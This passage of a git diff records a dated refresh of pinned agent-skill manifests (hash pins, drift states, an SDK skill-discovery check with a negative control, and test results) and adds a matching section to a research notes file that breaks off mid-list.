"5ea273ae511d5fc02eedeb0afe55c11c0712d65a", + "pinned_tree_sha": "5ea273ae511d5fc02eedeb0afe55c11c0712d65a", + "current_tree_sha": "5ea273ae511d5fc02eedeb0afe55c11c0712d65a", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "security", + "path": "skills/security", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "887a8c46466e388665d4b6679a6d1fe02c6a79b527c38aed6a5a6291b6831fa3", + "pinned_body_sha256": "887a8c46466e388665d4b6679a6d1fe02c6a79b527c38aed6a5a6291b6831fa3", + "current_body_sha256": "887a8c46466e388665d4b6679a6d1fe02c6a79b527c38aed6a5a6291b6831fa3", + "pinned_body_bytes": 1367, + "current_body_bytes": 1367, + "manifest_tree_sha": "17f0062e8f675bce2b5c4d3d6ffb30a6e94017d6", + "pinned_tree_sha": "17f0062e8f675bce2b5c4d3d6ffb30a6e94017d6", + "current_tree_sha": "17f0062e8f675bce2b5c4d3d6ffb30a6e94017d6", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "setup-agents-md", + "path": "plugins/onboarding/skills/setup-agents-md", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "33abece9c9e2726377e39d4adb0569ed46c6336e8bfc41e290462940e008a613", + "pinned_body_sha256": "33abece9c9e2726377e39d4adb0569ed46c6336e8bfc41e290462940e008a613", + "current_body_sha256": "33abece9c9e2726377e39d4adb0569ed46c6336e8bfc41e290462940e008a613", + "pinned_body_bytes": 6035, + "current_body_bytes": 6035, + "manifest_tree_sha": "4699322855418d8df34d0c8e0d61042d267ff026", + "pinned_tree_sha": "4699322855418d8df34d0c8e0d61042d267ff026", + "current_tree_sha": "4699322855418d8df34d0c8e0d61042d267ff026", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "setup-openhands", + "path": "plugins/onboarding/skills/setup-openhands", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "1c2381e0c1547d3c5efe675f3ae0a6e863fefb5e6867178162772770522f9629", + "pinned_body_sha256": "1c2381e0c1547d3c5efe675f3ae0a6e863fefb5e6867178162772770522f9629", + "current_body_sha256": "1c2381e0c1547d3c5efe675f3ae0a6e863fefb5e6867178162772770522f9629", + "pinned_body_bytes": 2222, + "current_body_bytes": 2222, + "manifest_tree_sha": "160dd94a55fb88d883a3f7b576378a0140e26a7a", + "pinned_tree_sha": "160dd94a55fb88d883a3f7b576378a0140e26a7a", + "current_tree_sha": "160dd94a55fb88d883a3f7b576378a0140e26a7a", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "setup-pr-review", + "path": "plugins/onboarding/skills/setup-pr-review", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "70b8d5fb44619412ff7b9bc7794a94ab4a6ab9f14198218c85739463026b1513", + "pinned_body_sha256": "70b8d5fb44619412ff7b9bc7794a94ab4a6ab9f14198218c85739463026b1513", + "current_body_sha256": "70b8d5fb44619412ff7b9bc7794a94ab4a6ab9f14198218c85739463026b1513", + "pinned_body_bytes": 2939, + "current_body_bytes": 2939, + "manifest_tree_sha": "fa20714069063b154a9afc08c21bbb6acbc2817c", + "pinned_tree_sha": "fa20714069063b154a9afc08c21bbb6acbc2817c", + "current_tree_sha": "fa20714069063b154a9afc08c21bbb6acbc2817c", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "slack-channel-monitor", + "path": "skills/slack-channel-monitor", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "2699798becdf629b7a837bca297c91fe26fa486fdf2a3a80ca628c56463f3f40", + "pinned_body_sha256": "2699798becdf629b7a837bca297c91fe26fa486fdf2a3a80ca628c56463f3f40", + "current_body_sha256": "2699798becdf629b7a837bca297c91fe26fa486fdf2a3a80ca628c56463f3f40", + "pinned_body_bytes": 12730, + "current_body_bytes": 12730, + "manifest_tree_sha": "d3dfabd9f8790f45e6a15274510050817dd6d0da", + "pinned_tree_sha": "d3dfabd9f8790f45e6a15274510050817dd6d0da", + "current_tree_sha": "d3dfabd9f8790f45e6a15274510050817dd6d0da", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "slack-standup-digest", + "path": "skills/slack-standup-digest", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "58e779cdde7f0029d31df290f0d3a93600fa902ba077393b392a51cbd7e5e699", + "pinned_body_sha256": "58e779cdde7f0029d31df290f0d3a93600fa902ba077393b392a51cbd7e5e699", + "current_body_sha256": "58e779cdde7f0029d31df290f0d3a93600fa902ba077393b392a51cbd7e5e699", + "pinned_body_bytes": 3208, + "current_body_bytes": 3208, + "manifest_tree_sha": "9e7ff432df4f3610aaf5628503b8e69122fe119e", + "pinned_tree_sha": "9e7ff432df4f3610aaf5628503b8e69122fe119e", + "current_tree_sha": "9e7ff432df4f3610aaf5628503b8e69122fe119e", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "spark-version-upgrade", + "path": "skills/spark-version-upgrade", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "4351d37aec3b7b19cc52bba87aaa8c48c67c0ee4a50e73afcb175aeca4fe4762", + "pinned_body_sha256": "4351d37aec3b7b19cc52bba87aaa8c48c67c0ee4a50e73afcb175aeca4fe4762", + "current_body_sha256": "4351d37aec3b7b19cc52bba87aaa8c48c67c0ee4a50e73afcb175aeca4fe4762", + "pinned_body_bytes": 7777, + "current_body_bytes": 7777, + "manifest_tree_sha": "1fade147a86861825148668e9157b8078a45b32b", + "pinned_tree_sha": "1fade147a86861825148668e9157b8078a45b32b", + "current_tree_sha": "1fade147a86861825148668e9157b8078a45b32b", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "ssh", + "path": "skills/ssh", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "ca7cca10ed32ca284afafecff35fa3218aa9baee1ed62ab415393adfe9817324", + "pinned_body_sha256": "ca7cca10ed32ca284afafecff35fa3218aa9baee1ed62ab415393adfe9817324", + "current_body_sha256": "ca7cca10ed32ca284afafecff35fa3218aa9baee1ed62ab415393adfe9817324", + "pinned_body_bytes": 3371, + "current_body_bytes": 3371, + "manifest_tree_sha": "3faad5282472c8b5ccb6ecdef8ef3c5e0f64251d", + "pinned_tree_sha": "3faad5282472c8b5ccb6ecdef8ef3c5e0f64251d", + "current_tree_sha": "3faad5282472c8b5ccb6ecdef8ef3c5e0f64251d", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "swift-linux", + "path": "skills/swift-linux", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "e4c39d4cfd04335df7e6d6d799470143ac7e805d7a98ca9366f2867a65c80ccc", + "pinned_body_sha256": "e4c39d4cfd04335df7e6d6d799470143ac7e805d7a98ca9366f2867a65c80ccc", + "current_body_sha256": "e4c39d4cfd04335df7e6d6d799470143ac7e805d7a98ca9366f2867a65c80ccc", + "pinned_body_bytes": 2637, + "current_body_bytes": 2637, + "manifest_tree_sha": "60790b9ebdbbf4794cc5614e999f08b8b90bce88", + "pinned_tree_sha": "60790b9ebdbbf4794cc5614e999f08b8b90bce88", + "current_tree_sha": "60790b9ebdbbf4794cc5614e999f08b8b90bce88", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "technical-writing", + "path": "skills/technical-writing", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "ddd627776d70161f3296dbbbb79c9592a9d89e4eab0622b9217eed648dae7b05", + "pinned_body_sha256": "ddd627776d70161f3296dbbbb79c9592a9d89e4eab0622b9217eed648dae7b05", + "current_body_sha256": "ddd627776d70161f3296dbbbb79c9592a9d89e4eab0622b9217eed648dae7b05", + "pinned_body_bytes": 4888, + "current_body_bytes": 4888, + "manifest_tree_sha": "c3d06b8ed68fbdff5c19d8e03ffba2de2530b081", + "pinned_tree_sha": "c3d06b8ed68fbdff5c19d8e03ffba2de2530b081", + "current_tree_sha": "c3d06b8ed68fbdff5c19d8e03ffba2de2530b081", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "theme-factory", + "path": "skills/theme-factory", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "c35893e221e28895c52143cc11bf30e41a44817796b39d4b15727dadc9796552", + "pinned_body_sha256": "c35893e221e28895c52143cc11bf30e41a44817796b39d4b15727dadc9796552", + "current_body_sha256": "c35893e221e28895c52143cc11bf30e41a44817796b39d4b15727dadc9796552", + "pinned_body_bytes": 3124, + "current_body_bytes": 3124, + "manifest_tree_sha": "8942a4f915c681dbc62047d4bfa11f998738ecb0", + "pinned_tree_sha": "8942a4f915c681dbc62047d4bfa11f998738ecb0", + "current_tree_sha": "8942a4f915c681dbc62047d4bfa11f998738ecb0", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "ticket-to-code-change", + "path": "skills/ticket-to-code-change", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "1d063f120e1238dadea3b1a59531373e249b815b772e1970e99fa0fea3cffcc2", + "pinned_body_sha256": "1d063f120e1238dadea3b1a59531373e249b815b772e1970e99fa0fea3cffcc2", + "current_body_sha256": "1d063f120e1238dadea3b1a59531373e249b815b772e1970e99fa0fea3cffcc2", + "pinned_body_bytes": 2278, + "current_body_bytes": 2278, + "manifest_tree_sha": "062c50c64ebe0b86de3adda752208dd8b3539d49", + "pinned_tree_sha": "062c50c64ebe0b86de3adda752208dd8b3539d49", + "current_tree_sha": "062c50c64ebe0b86de3adda752208dd8b3539d49", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "to-java-migration", + "path": "plugins/cobol-modernization/skills/to-java-migration", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "59e8581f49351e9fa6e89ae76faa8a3c59bc014797f26cfa54769de4cd4c1970", + "pinned_body_sha256": "59e8581f49351e9fa6e89ae76faa8a3c59bc014797f26cfa54769de4cd4c1970", + "current_body_sha256": "59e8581f49351e9fa6e89ae76faa8a3c59bc014797f26cfa54769de4cd4c1970", + "pinned_body_bytes": 2089, + "current_body_bytes": 2089, + "manifest_tree_sha": "e5bc7457ba29e05f0abdedb957f6121dd15e795e", + "pinned_tree_sha": "e5bc7457ba29e05f0abdedb957f6121dd15e795e", + "current_tree_sha": "e5bc7457ba29e05f0abdedb957f6121dd15e795e", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "upstream-fork-sync", + "path": "skills/upstream-fork-sync", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "c53faa66ce41f0846116b4463313e4a985024eccd6e6ec6d0603a869aee0186d", + "pinned_body_sha256": "c53faa66ce41f0846116b4463313e4a985024eccd6e6ec6d0603a869aee0186d", + "current_body_sha256": "c53faa66ce41f0846116b4463313e4a985024eccd6e6ec6d0603a869aee0186d", + "pinned_body_bytes": 4606, + "current_body_bytes": 4606, + "manifest_tree_sha": "2dbfcf26ede4df1236f2d5882defc39b639d2574", + "pinned_tree_sha": "2dbfcf26ede4df1236f2d5882defc39b639d2574", + "current_tree_sha": "2dbfcf26ede4df1236f2d5882defc39b639d2574", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "uv", + "path": "skills/uv", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "e321822ec05752b5fd8b967f6bec30f0e9fd5d7d042aaf5a5d7002829d788315", + "pinned_body_sha256": "e321822ec05752b5fd8b967f6bec30f0e9fd5d7d042aaf5a5d7002829d788315", + "current_body_sha256": "e321822ec05752b5fd8b967f6bec30f0e9fd5d7d042aaf5a5d7002829d788315", + "pinned_body_bytes": 2639, + "current_body_bytes": 2639, + "manifest_tree_sha": "35be5b0352ad8f5cba3b92b3fbb6162b260e9a24", + "pinned_tree_sha": "35be5b0352ad8f5cba3b92b3fbb6162b260e9a24", + "current_tree_sha": "35be5b0352ad8f5cba3b92b3fbb6162b260e9a24", + "body_unchanged": true, + "tree_unchanged": true + }, + { + "name": "vercel", + "path": "skills/vercel", + "pinned_ref": "bea7a20c59c44ec4dacddac3fc0efe58b9c73880", + "current_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "manifest_body_sha256": "4060634017206b72caca6ad05195cd015a5309569d336cbc5b04dab263769b12", + "pinned_body_sha256": "4060634017206b72caca6ad05195cd015a5309569d336cbc5b04dab263769b12", + "current_body_sha256": "4060634017206b72caca6ad05195cd015a5309569d336cbc5b04dab263769b12", + "pinned_body_bytes": 3240, + "current_body_bytes": 3240, + "manifest_tree_sha": "a1a03f2db71aea8b1a1f8cedea6cfd57963de76b", + "pinned_tree_sha": "a1a03f2db71aea8b1a1f8cedea6cfd57963de76b", + "current_tree_sha": "a1a03f2db71aea8b1a1f8cedea6cfd57963de76b", + "body_unchanged": true, + "tree_unchanged": true + } + ] + }, + "freshness": { + "implementation": "tools/adoption/runtime_skill_freshness.py", + "before_artifact": "blueprints/runtime-workers/skills/freshness-20260930-before.json", + "after_artifact": "blueprints/runtime-workers/skills/freshness-20260930.json", + "before_states": { + "repository-drift": 98, + "current": 27, + "skill-drift": 11, + "removed-at-head": 1 + }, + "after_states": { + "current": 100, + "repository-drift": 25, + "skill-drift": 11, + "removed-at-head": 1 + }, + "argv": [ + "rtk", + "python3", + "tools/adoption/runtime_skill_freshness.py", + "--manifest", + "blueprints/runtime-workers/skills/manifest.json", + "--output", + "blueprints/runtime-workers/skills/freshness-20260930.json", + "--workers", + "4" + ], + "exit_code": 0, + "stdout": "{\"ok\": true, \"skills\": 137, \"drift\": 37, \"errors\": 0, \"report_only\": true}\n", + "stderr": "", + "errors": [], + "ok": true, + "source_states": [ + { + "source": "OpenHands/extensions", + "head_ref": "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "selected_refs": [ + "9495f4c59dd5fea2cee9e87ab37a6abda649627b", + "bea7a20c59c44ec4dacddac3fc0efe58b9c73880" + ], + "selected_count": 77, + "states": { + "current": 73, + "skill-drift": 4 + } + }, + { + "source": "affaan-m/ECC", + "head_ref": "c70874fae9eb0e5ad0365beb7e2955899fd1d30f", + "selected_refs": [ + "2b6e839771e53096d8451a213d40dc64ec8acac0" + ], + "selected_count": 2, + "states": { + "repository-drift": 1, + "skill-drift": 1 + } + }, + { + "source": "anthropics/skills", + "head_ref": "8a1541c4a3ffa5a20a5a91de0dcf3f0bab1d1ef4", + "selected_refs": [ + "33375500bcea98d610eb30ce10ac4e59b89c390d" + ], + "selected_count": 9, + "states": { + "repository-drift": 9 + } + }, + { + "source": "assafelovic/gpt-researcher", + "head_ref": "0957c301ed06c2a5857b834358c7227c739041d4", + "selected_refs": [ + "0957c301ed06c2a5857b834358c7227c739041d4" + ], + "selected_count": 1, + "states": { + "current": 1 + } + }, + { + "source": "mattpocock/skills", + "head_ref": "d81f3a183412e71a5b1e84ca21bc1a35eea03a60", + "selected_refs": [ + "c55ee46073ed923f86ce59a5eb3b6d895095d1b7" + ], + "selected_count": 12, + "states": { + "skill-drift": 5, + "repository-drift": 6, + "removed-at-head": 1 + } + }, + { + "source": "obra/superpowers", + "head_ref": "8ca22dba9a94f28898bbce59f2537ff4d87c747d", + "selected_refs": [ + "8ca22dba9a94f28898bbce59f2537ff4d87c747d" + ], + "selected_count": 14, + "states": { + "current": 14 + } + }, + { + "source": "openai/skills", + "head_ref": "49f948faa9258a0c61caceaf225e179651397431", + "selected_refs": [ + "49f948faa9258a0c61caceaf225e179651397431" + ], + "selected_count": 6, + "states": { + "current": 6 + } + }, + { + "source": "trailofbits/skills", + "head_ref": "82fe8226252622fa807643bdca1710901198553a", + "selected_refs": [ + "0cc1c73a5e96749ab32d7ea5e14892fafa6972ae" + ], + "selected_count": 9, + "states": { + "repository-drift": 8, + "skill-drift": 1 + } + }, + { + "source": "typesafe-ai/skills", + "head_ref": "65a39f393687675ce170e6094757de20370365b9", + "selected_refs": [ + "65a39f393687675ce170e6094757de20370365b9" + ], + "selected_count": 1, + "states": { + "current": 1 + } + }, + { + "source": "vercel-labs/agent-browser", + "head_ref": "d01253d9db28d75080e36da3c1c31ef89454731e", + "selected_refs": [ + "d01253d9db28d75080e36da3c1c31ef89454731e" + ], + "selected_count": 1, + "states": { + "current": 1 + } + }, + { + "source": "vercel-labs/agent-skills", + "head_ref": "063bee94c3f4df8453406c830b0a7df0f2860278", + "selected_refs": [ + "063bee94c3f4df8453406c830b0a7df0f2860278" + ], + "selected_count": 4, + "states": { + "current": 4 + } + }, + { + "source": "vercel-labs/skills", + "head_ref": "3694740352eeef5cdd689af694c485f1ff62eec3", + "selected_refs": [ + "7407f3893ad4dceab546ac002c3ef806e4000c73" + ], + "selected_count": 1, + "states": { + "repository-drift": 1 + } + } + ] + }, + "native_discovery": { + "class": "Local integration fixture using unchanged SDK APIs and official git-archive source snapshots.", + "fixture": { + "method": "Native git archive for 73 current plus four retained official source directories, linked under an owned .agents/skills project.", + "installation": "None; this source fixture has no CLI-owned worker lock.", + "control": "Separate empty project; same native load_project_skills call." + }, + "argv": [ + "rtk", + "env", + "OPENHANDS_SUPPRESS_BANNER=1", + "PYTHONDONTWRITEBYTECODE=1", + "/.venv/bin/python", + "/native_discovery.py", + "" + ], + "exit_code": 0, + "returned_output": "blueprints/runtime-workers/skills/refresh-20260930-native-discovery.txt", + "source_program": "\"\"\"Local integration observation of unchanged official skill source bytes.\n\nSources: OpenHands/software-agent-sdk@dcf401af7a9a302ef92cb7d092e1df9bb659daa5\nopenhands-sdk/openhands/sdk/skills/skill.py:1049-1142,1453-1533.\nThis does not install a skill, construct an agent, invoke a skill, or call a model.\n\"\"\"\n\nimport importlib.metadata\nimport json\nfrom pathlib import Path\nimport sys\nfrom xml.etree import ElementTree\n\nfrom openhands.sdk.skills.skill import load_project_skills, to_prompt\n\n\nbase = Path(sys.argv[1])\nexpected = json.loads((base / \"expected.json\").read_text())\nassert importlib.metadata.version(\"openhands-sdk\") == \"1.50.0\"\n\n# Discriminating control: the same native loader must see no project skills.\ncontrol = load_project_skills(base / \"control\")\nassert control == [], [skill.name for skill in control]\nprint(\"control: native project loader returned 0 skills\")\n\ntarget = base / (\"control\" if \"--control-as-target\" in sys.argv else \"project\")\nskills = load_project_skills(target)\nnames = sorted(skill.name for skill in skills)\nif names != expected:\n print(f\"qualification rejected: expected {len(expected)} skills, discovered {len(names)}\")\n raise SystemExit(1)\nprompt = to_prompt(skills)\nxml = ElementTree.fromstring(prompt)\nassert sorted(node.text for node in xml.findall(\"skill/name\")) == expected\nassert len(xml.findall(\"skill/description\")) == len(expected)\nassert xml.findall(\".//location\") == []\nassert all(skill.description for skill in skills)\nassert all(skill.content and skill.content not in prompt for skill in skills)\nprint(f\"selected: native project loader returned {len(skills)} expected skills\")\nprint(\"prompt: names/descriptions only; no location or full skill bodies\")\nprint(\"provider request and native invoke_skill were not executed\")\n\nresult = {\n \"sdk_version\": importlib.metadata.version(\"openhands-sdk\"),\n \"tools_version\": importlib.metadata.version(\"openhands-tools\"),\n \"control_discovered_count\": len(control),\n \"selected_discovered_count\": len(skills),\n \"selected_names_match\": names == expected,\n \"prompt_name_count\": len(xml.findall(\"skill/name\")),\n \"prompt_description_count\": len(xml.findall(\"skill/description\")),\n \"prompt_location_count\": len(xml.findall(\".//location\")),\n \"full_skill_bodies_in_metadata_prompt\": 0,\n \"metadata_prompt_utf8_bytes\": len(prompt.encode()),\n \"selected_names\": names,\n \"native_invocation_evidence\": \"not_collected\",\n \"provider_usage\": None,\n}\n(base / \"result.json\").write_text(json.dumps(result, indent=2) + \"\\n\")\n", + "result": { + "sdk_version": "1.50.0", + "tools_version": "1.50.0", + "control_discovered_count": 0, + "selected_discovered_count": 77, + "selected_names_match": true, + "prompt_name_count": 77, + "prompt_description_count": 77, + "prompt_location_count": 0, + "full_skill_bodies_in_metadata_prompt": 0, + "metadata_prompt_utf8_bytes": 25087, + "selected_names": [ + "add-javadoc", + "agent-canvas-environment", + "agent-creator", + "agent-memory", + "agent-readiness-report", + "agent-sdk-builder", + "azure-devops", + "bitbucket", + "bitbucket-cloud", + "bitbucket-data-center", + "build-setup", + "canvas-extension-api", + "cobol-modernization", + "code-review", + "code-simplifier", + "datadog", + "deno", + "discord", + "docker", + "evidence-based-citations", + "github", + "github-actions", + "github-agents-md-maintainer", + "github-delivery-watchdog", + "github-issue-to-pr", + "github-issue-triage", + "github-pr-review", + "github-pr-reviewer", + "github-repo-monitor", + "github-stale-ci-pr-closer", + "gitlab", + "gitlab-issue-to-mr", + "improve-agent-readiness", + "incident-retrospective", + "iterate", + "jira-issue-to-pr", + "jupyter", + "kubernetes", + "learn-from-code-review", + "linear", + "linear-triage", + "mainframe-planning", + "mainframe-removal", + "migration-mapping", + "migration-report", + "migration-scoring", + "news-digest", + "notion", + "npm", + "openhands-api", + "openhands-automation", + "openhands-enterprise-troubleshooting", + "openhands-sdk", + "pdflatex", + "plain-english-content", + "prd", + "qa-changes", + "release-notes", + "research-brief", + "score-quality", + "score-style", + "security", + "setup-agents-md", + "setup-openhands", + "setup-pr-review", + "slack-channel-monitor", + "slack-standup-digest", + "spark-version-upgrade", + "ssh", + "swift-linux", + "technical-writing", + "theme-factory", + "ticket-to-code-change", + "to-java-migration", + "upstream-fork-sync", + "uv", + "vercel" + ], + "native_invocation_evidence": "not_collected", + "provider_usage": null + }, + "claim_boundary": "Native source loading and generated metadata only. No agent conversation, invoke_skill, provider request, server, or container was exercised.", + "negative_control": { + "argv": [ + "rtk", + "env", + "OPENHANDS_SUPPRESS_BANNER=1", + "PYTHONDONTWRITEBYTECODE=1", + "/.venv/bin/python", + "/native_discovery.py", + "", + "--control-as-target" + ], + "exit_code": 1, + "returned_output": "blueprints/runtime-workers/skills/refresh-20260930-native-discovery-negative.txt", + "condition": "Apply the same required 77-name qualification with the selected source artifact absent; it must reject zero discovered skills." + } + }, + "identity_checks": [ + { + "argv": [ + "rtk", + "/bin/skills", + "--version" + ], + "exit_code": 0, + "stdout": "1.7.0\n", + "stderr": "" + }, + { + "argv": [ + "rtk", + "git", + "-C", + "", + "rev-parse", + "HEAD" + ], + "exit_code": 0, + "stdout": "dcf401af7a9a302ef92cb7d092e1df9bb659daa5\n", + "stderr": "" + }, + { + "argv": [ + "rtk", + "git", + "-C", + "", + "status", + "--short" + ], + "exit_code": 0, + "stdout": "", + "stderr": "" + }, + { + "argv": [ + "rtk", + "env", + "OPENHANDS_SUPPRESS_BANNER=1", + "PYTHONDONTWRITEBYTECODE=1", + "/.venv/bin/python", + "-c", + "import importlib.metadata as m; from openhands.sdk.skills import Skill; print(\"SDK=\" + m.version(\"openhands-sdk\") + \"; tools=\" + m.version(\"openhands-tools\") + \"; native Skill import passed\")" + ], + "exit_code": 0, + "stdout": "SDK=1.50.0; tools=1.50.0; native Skill import passed\n", + "stderr": "" + } + ], + "independent_roster_observation": { + "base_blob_command": [ + "rtk", + "proxy", + "git", + "show", + "HEAD:blueprints/runtime-workers/skills/manifest.json" + ], + "exit_code": 0, + "fields": [ + "name", + "status", + "scenarios", + "roles", + "path", + "source", + "tree_sha", + "skill_md_sha256", + "skill_md_bytes" + ], + "fields_preserved": true, + "original_count": 137, + "current_count": 137, + "task_profile_cells_exact": true + }, + "task_profiles": { + "artifact": "blueprints/runtime-workers/skills/profiles.json", + "status": "advisory_metadata", + "scenarios": 16, + "roles": 4, + "cells": 64, + "native_binding": "Existing blueprints/runtime-workers/openhands/config/profiles.json; no new wrapper or dispatcher.", + "runtime_application_evidence": "not_collected", + "conditions": "Canvas and Cloud/automation applicability requires the explicitly selected environment. Profile-backed automation is not local SDK/server dispatch qualification." + }, + "local_tests": { + "class": "Existing local integration/structural checks, not upstream acceptance.", + "argv": [ + "rtk", + "python3", + "-m", + "unittest", + "tests.test_runtime_worker_skills", + "-v" + ], + "first_exit_code": 1, + "first_output": "blueprints/runtime-workers/skills/refresh-20260930-tests-first.txt", + "first_failure": "Four selected collision refs retained the earlier pin after 73 entries advanced.", + "repair": "Update only those selected collision triples to match the winning entries.", + "exit_code": 0, + "tests_passed": 22, + "output": "blueprints/runtime-workers/skills/refresh-20260930-tests.txt" + }, + "anti_patterns": [ + { + "mistake": "An initially supplied SDK prefix was absent; the combined inspection ended 1 after its source comparison completed.", + "correction": "Bounded source-directory discovery found the existing isolated upstream clone. HEAD, pristine status and installed versions checked; clean source comparison rerun exited 0." + }, + { + "mistake": "A guessed native invocation-test filename was absent; source inspection ended 1.", + "correction": "Bounded rg --files located tests/sdk/tool/test_invoke_skill.py. The test was not run or claimed as new evidence." + }, + { + "mistake": "Selected collision metadata must advance together with winning skill pins.", + "correction": "The first 22-test local run rejected stale refs; one bounded repair made all 22 tests pass." + } + ], + "limitations": [ + "Changed executable/resource trees were not upgraded on unchanged-body evidence.", + "Other changed trees and resolving-merge-conflicts removed at HEAD retain their earlier pins.", + "No current E2E activation capture or provider usage exists for this trial.", + "Task profiles are selection metadata; native runtime application remains separately qualified.", + "Historical validation.json is preserved, and its earlier input hashes/results are not restated as a new run." + ], + "output_retention": { + "native_output": "Actual captured command output; personal source/checkout paths replaced by the placeholders below.", + "placeholders": [ + "", + "", + "", + "", + "" + ], + "command_timestamps": "not_collected" + }, + "artifact_sha256": { + "blueprints/runtime-workers/skills/manifest.json": "fb0f3e02f4980b919e321267e722856d44d1da089abe1520a44af9b4aabe791a", + "blueprints/runtime-workers/skills/profiles.json": "856be295b8e460783134bef9f26824697c9044bed53e5dd64875b395e910937a", + "blueprints/runtime-workers/skills/README.md": "d13c29e7756e77c0119a5f8c60194d0e3fcfca9667310f601ed94286194e2a1e", + "blueprints/runtime-workers/skills/research.md": "96850186799ca69798228468c2afc0e48fa2ecc07ed5f8f2f8217c27f8fb21bd", + "blueprints/runtime-workers/skills/freshness-20260930-before.json": "3860da4db54746d2d062fab5b30a4d6582230e28042842091e4871a04d50ec58", + "blueprints/runtime-workers/skills/freshness-20260930.json": "296c2e949b38d01331a9cad9d8424c28d11aff0b8b3d68190c67e5235ba06406", + "blueprints/runtime-workers/skills/refresh-20260930-native-discovery.txt": "e07ee4a209821d322d5bbd84bbf61e5399b3810c92a4b2ef9c6d0277434b2530", + "blueprints/runtime-workers/skills/refresh-20260930-native-discovery-negative.txt": "00d0a64edf9292e03877cebb085bf0d666a148dc525b187107e8d6c4fbd4f164", + "blueprints/runtime-workers/skills/refresh-20260930-tests-first.txt": "3aa77a0041f8a58e7bb71881afbecb509103e80b47928c5e6c506d44df777808", + "blueprints/runtime-workers/skills/refresh-20260930-tests.txt": "b2e30d3927f58bed90fcfd348f0e36fd25d6df8bce83bc78d060dfd9eb340346" + }, + "working_directory": "; source Git commands use explicit -C " +} diff --git a/blueprints/runtime-workers/skills/research.md b/blueprints/runtime-workers/skills/research.md index fc789b485..2351e240a 100644 --- a/blueprints/runtime-workers/skills/research.md +++ b/blueprints/runtime-workers/skills/research.md @@ -227,6 +227,93 @@ and C7-validation-evidence were CONFIRM verdicts without a defect, so nothing needed relaying; [validation](validation.json) now lists them under `repair_r3.confirmed`. +The following September 30 sections preserve the separately recorded source +refresh and main-adoption revisions. Their counts are dated snapshots; the current +manifest and each entry's own ref govern the effective selection. + +## 2026-09-30 source refresh and task-scoped metadata + +The installed owned-prefix `skills --version` returned `1.7.0` (exit 0), and the +official release endpoint still returned +[`v1.7.0`](https://github.com/vercel-labs/skills/releases/tag/v1.7.0). +The existing read-only freshness implementation was reused; `skills check` was +not run. The [before report](freshness-20260930-before.json) checked all 137 +selected entries across 12 repositories: 27 current, 98 repository-only drift, +11 changed skill trees and one removed at HEAD. Both fetched trees and pin +integrity remain separate from installation and invocation. + +`gh api repos/OpenHands/extensions/commits/main` returned +[`9495f4c59dd5fea2cee9e87ab37a6abda649627b`](https://github.com/OpenHands/extensions/commit/9495f4c59dd5fea2cee9e87ab37a6abda649627b) +(2026-09-30T02:54:34Z). Native `git show` blob reads and `git rev-parse ref:path` +checks matched every one of the 77 earlier `SKILL.md` SHA256 values and folder +tree SHAs. At the current source, 75 bodies and 73 complete trees are identical. +Only those 73 complete trees advance in the trial. The source row records both +selected refs; the original 84-entry OpenHands inventory stays frozen at its +earlier ref, without sweeping in newly catalogued optional artifacts. + +Four trees retain `bea7a20c59c44ec4dacddac3fc0efe58b9c73880`: + +- 